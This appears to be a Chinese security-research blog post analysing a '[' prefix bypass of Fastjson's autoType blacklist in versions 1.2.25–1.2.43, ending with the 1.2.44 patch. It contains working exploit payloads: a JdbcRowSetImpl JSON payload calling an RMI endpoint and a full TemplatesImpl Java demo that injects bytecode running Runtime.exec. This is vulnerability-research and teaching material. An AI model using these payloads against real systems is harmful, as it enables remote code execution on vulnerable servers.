上一个回顾中打补丁的方式是若存在一个L与;就去掉,若存在两个,则抛出异常。看起来已经无法通过添加L与;的方式来进行。之前在回顾系列(二)中提到过,除了添加L;之后,还可以添加[,不过在当时并没成功。事实上,它是可以成功的。这篇文件就介绍了这一方式。
整个复现系列的payload放在了github上。
漏洞信息
影响版本
- 1.2.25 <= fastjson <= 1.2.43
利用条件
漏洞分析
由于打补丁的方式非常简单粗暴,若className开头是LL就会抛出错误,所以无法利用LL这个点了。如下所示:

考虑利用另一个点[。定位到loadClass()函数。

之前分析得很浅,因为length为0,会抛出异常。我们直接加[是不可以的,那么应该如何构造使之能够可以呢?
根据FastJson反序列化的流程,由于@type是一个[,因此会调用到com.alibaba.fastjson.serializer.ObjectArrayCodeC.class中的deserialze()函数,跟进去,然后定位到如下图所示的位置:

首先通过clazz.getComponentType()获取到componentType,然后进入parser.parseArry()函数,跟进它。

可以看到此时的token值若不为14,即当前不为[,就会抛出异常,因此在””值后面紧跟着[。然后会进入lexer.nextToken(),跟进它。

如果当前的ch为
{,即在[之后的为{,则将token赋值为12,且移到下一个字符"
[,即在[之后的为[,则将token赋值为14,且移到下一个字符"
事实上,这里只能写{,因为若token为14,在接下来的过程中会报错,我们后续会讲到这一点。
在经历完这个之后,最终会走到((ObjectDeserializer)deserializer).deserialze()函数,如下图所示:

跟进它,它又会将后续的值进行反序列化。如下所示:

最终会调用到给autoCommit赋值的setAutoCommit函数,从而RCE。
那么再考虑一下上述第二种方式为什么不可以。同样跟进到deserialze函数里,如下图所示:

它最终抛出异常,从而无法RCE。
EXP构造
JdbcRowSetImpl
根据上述分析,EXP如下所示:
1 2 3 4 5
| { "@type":"[com.sun.rowset.JdbcRowSetImpl"[{ "dataSourceName":"rmi://127.0.0.1:1099/EvilObject", "autoCommit":true }
|
完整的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcrowsetimpl4 { public static void main(String args[]) { String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilObject\",\"autoCommit\":true}"; ParserConfig config = new ParserConfig(); config.getGlobalInstance().setAutoTypeSupport(true); Object res = JSON.parse(payload);
} }
|
TemplatesImpl
完整的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.codec.binary.Base64;
import java.io.*;
public class templatesimpl4 { public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} }
public static void main(String[] args) throws Exception{
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass clazz = pool.get(StubTransletPayload.class.getName());
clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
String bytes1 = Base64.encodeBase64String(classBytes); String NASTY_CLASS = "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\"[{\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig(); config.getGlobalInstance().setAutoTypeSupport(true); Object res = JSON.parse(text1, Feature.SupportNonPublicField);
} }
|
补丁

从这个补丁可以看出,在1.2.44版本中,它删掉了原来的判断LL的方式,而是改为了若以[开头或以;结尾,都会抛出异常。
参考